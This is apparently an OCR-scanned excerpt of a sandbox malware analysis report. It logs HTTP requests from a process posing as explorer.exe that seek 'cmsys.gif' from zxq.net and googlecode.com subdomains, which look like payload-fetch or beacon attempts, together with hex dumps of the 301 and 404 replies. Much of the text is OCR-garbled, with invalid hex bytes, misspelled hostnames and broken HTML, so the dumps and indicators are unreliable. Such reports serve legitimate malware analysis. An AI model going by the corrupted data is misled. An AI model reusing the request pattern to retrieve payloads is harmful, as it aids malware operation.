Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd01.zxq.net

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Connection: Keep-Alive

Keep-Alive: timeout=5, max=100

content-type: text/html

content-length: 707

date: Fri, 05 Aug 2022 07:10:33 GMT

location: https://zxq.net/cmsys.gif

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e 0a 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6€ 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150pXx; line-height:150pXx; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: veemdO01.zxq.net

Connection: Keep-Alive
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kBytes

Timestamp e Direction
Aug 5, 2022 9201 IN
09:10:49.204044104
CEST
Aug 5, 2022 9221 ouT
09:11:04.308193922
CEST
Aug 5, 2022 9222 IN
09:11:04.474598885
CEST
Session ID Source IP Source Port
12 192.168.2.4 49775
kB!
Timestamp ytes Direction
transferred

Copyright Joe Security LLC 2022

Data

HTTP/1.1 301 Moved Permanently

Connection: Keep-Alive

Keep-Alive: timeout=5, max=100

content-type: text/html

content-length: 707

date: Fri, 05 Aug 2022 07:10:49 GMT

location: https://zxg.net/cmsys.gif

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e Oa 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e Oa 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e Oa 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd01.zxq.net

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Connection: Keep-Alive

Keep-Alive: timeout=5, max=100

content-type: text/html

content-length: 707

date: Fri, 05 Aug 2022 07:11:04 GMT

location: https://zxq.net/cmsys.gif

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e 0a 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6€ 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150pXx; line-height:150pXx; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

Destination IP Destination Port Process
142.250.145.82 80 C:\Windows\System\explorer.exe
Data
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kBytes

Timestamp e Direction
Aug 5, 2022 1305 ouT
09:09:49.868995905
CEST
Aug 5, 2022 1313 IN
09:09:49.895886898
CEST
Session ID Source IP Source Port
13 192.168.2.4 49780
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 1368 ouT
09:09:51.685256004
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmdO01.googlecode.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:09:49 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270 782061726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 32 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢C 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2€ 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding: 15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com
limages/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: veemd02.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp T Direction
Aug 5, 2022 1369 IN
09:09:51.712455034
CEST
Session ID Source IP Source Port
14 192.168.2.4 49781
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 1379 ouT
09:09:54.072979927
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:09:51 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢C 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

